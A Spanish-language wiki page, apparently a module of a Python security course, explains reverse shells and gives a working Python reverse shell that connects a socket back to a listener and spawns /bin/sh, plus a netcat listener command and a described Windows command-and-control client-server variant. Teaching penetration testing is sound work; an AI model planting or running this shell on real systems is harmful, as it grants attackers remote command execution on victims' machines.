Herramientas de usuario

Herramientas del sitio


informatica:programacion:cursos:python_avanzado_proyectos_seguridad:shell_inversa_sockets

¡Esta es una revisión vieja del documento!


Shell inversa con sockets

Módulo perteneciente al curso Python avanzado para proyectos de seguridad

En este ejemplo vamos a construir un script de shell inversa de Python.

Una Shell inversa se trata de acción mediante la cual un usuario consigue acceder a la shell de un servidor externo. Por ejemplo, si estás trabajando en una fase de pentesting relacionada con la post-explotación y te gustaría crear un script que se invoque en ciertos escenarios que automáticamente hará obtener un shell para acceder al sistema de ficheros de otra máquina, podríamos construir nuestra propia shell inversa en Python.

En este caso estamos utilizando dos nuevos módulos: os y subprocess. El módulo os es un módulo de interfaz de sistema operativo multipropósito.

El módulo de subprocess permite que el script ejecute comandos e interactuar con la entrada y salida de estos comandos.

Usamos el método sock.connect() para conectarnos a un host correspondiente a una determinada dirección IP y puerto especificados (en nuestro caso es localhost)

Una vez hemos obtenido la shell, podríamos obtener un listado del directorio mediante el comando /bin/ls, pero antes necesitamos establecer la conexión con nuestro socket a través de la salida del comando. Esto lo logramos con la instrucción: os.dup2(sock.fileno())

#!/usr/bin/python
 
import socket
import subprocess
import os
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("127.0.0.1", 45679))
os.dup2(sock.fileno(),0)
os.dup2(sock.fileno(),1)
os.dup2(sock.fileno(),2)
shell_remote = subprocess.call(["/bin/sh", "-i"])
#proc = subprocess.call(["/bin/ls", "-i"])

En el caso de Windows podríamos crear la shell inversa creando una aplicación cliente-servidor donde el servidor envía comandos al cliente.

El servidor podría estar escuchando en el puerto localhost:9090 para una nueva conexión. Cuando un cliente solicita una nueva conexión, enviará su nombre de host y el servidor imprimirá el nombre de host y la dirección del cliente solicitó la conexión.

Una vez tenemos servidor y cliente en funcionamiento,nuestro objetivo sería extender nuestro cliente para que pueda ejecutar cualquier comando que el servidor le envíe. Para ello, podríamos usar un módulo de Python llamado subprocess para ejecutar el comando desde el servidor. El módulo de subprocess le permite ejecutar nuevos procesos y obtener la salida de los comandos que ejecutamos.

Primero lanzamos el servidor y luego el cliente.En el servidor seleccionamos el cliente que acabamos de conectar(en el ejemplo seleccionamos 0). Posteriormente, desde la shell del servidor ejecutamos un comando que se ejecutaría en el cliente. Por ejemplo, podríamos ejecutar tasklist desde el servidor y en el cliente se ejecutaría la lista de procesos del servidor.

$ python servidor.py
.Server started.
...
0 ('127.0.0.1', 64137, 'PORTATIL0631')
Select your client : 0
C:\Users\usuario\Desktop>tasklist

En el script del cliente aparecería la ejecución de esos comandos que se envían desde el cliente:

$ python cliente.py 
Client: received command join
Client: received command tasklist

Probando la shell inversa

Para poder probarla, podemos usar netcat:

ncat -l -v -p 45679
informatica/programacion/cursos/python_avanzado_proyectos_seguridad/shell_inversa_sockets.1731412010.txt.gz · Última modificación: por tempwin